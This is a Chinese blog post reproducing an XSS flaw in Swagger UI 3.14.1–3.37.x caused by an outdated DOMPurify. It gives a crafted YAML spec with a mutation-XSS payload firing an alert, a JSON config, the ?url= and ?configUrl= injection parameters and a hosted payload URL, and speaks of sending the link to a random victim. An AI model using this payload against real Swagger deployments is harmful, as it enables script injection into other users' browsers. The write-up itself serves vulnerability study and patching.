swagger xss漏洞复现

swagger xss漏洞复现

漏洞介绍

Swagger UI 有一个有趣的功能,允许您提供 API 规范的 URL - 一个 yaml 或 json 文件,将被获取并显示给用户
根本原因非常简单 - 一个过时的库DomPurify

影响版本

XSS 影响的 Swagger UI 版本:>=3.14.1 < 3.38.0

实现原理

利用允许提供json文件的原理访问公网网站进行弹窗
json网站:https://jumpy-floor.surge.sh/test.yaml
拼接方式
?url=https://your_api_spec/spec.yaml
?configUrl=https://your_api_spec/file.json

yaml配置文件

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts

json文件配置

{
    "url": "http://IP/test.yaml",
    "urls": [
        {
            "url": "http://IP/test.yaml",
            "name": "Foo"
        }
    ]
}

漏洞复现

随机找一位受害者访问
在这里插入图片描述
进行拼接?url=https://jumpy-floor.surge.sh/test.yaml
在这里插入图片描述
弹窗

修复建议:

升级到最新

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值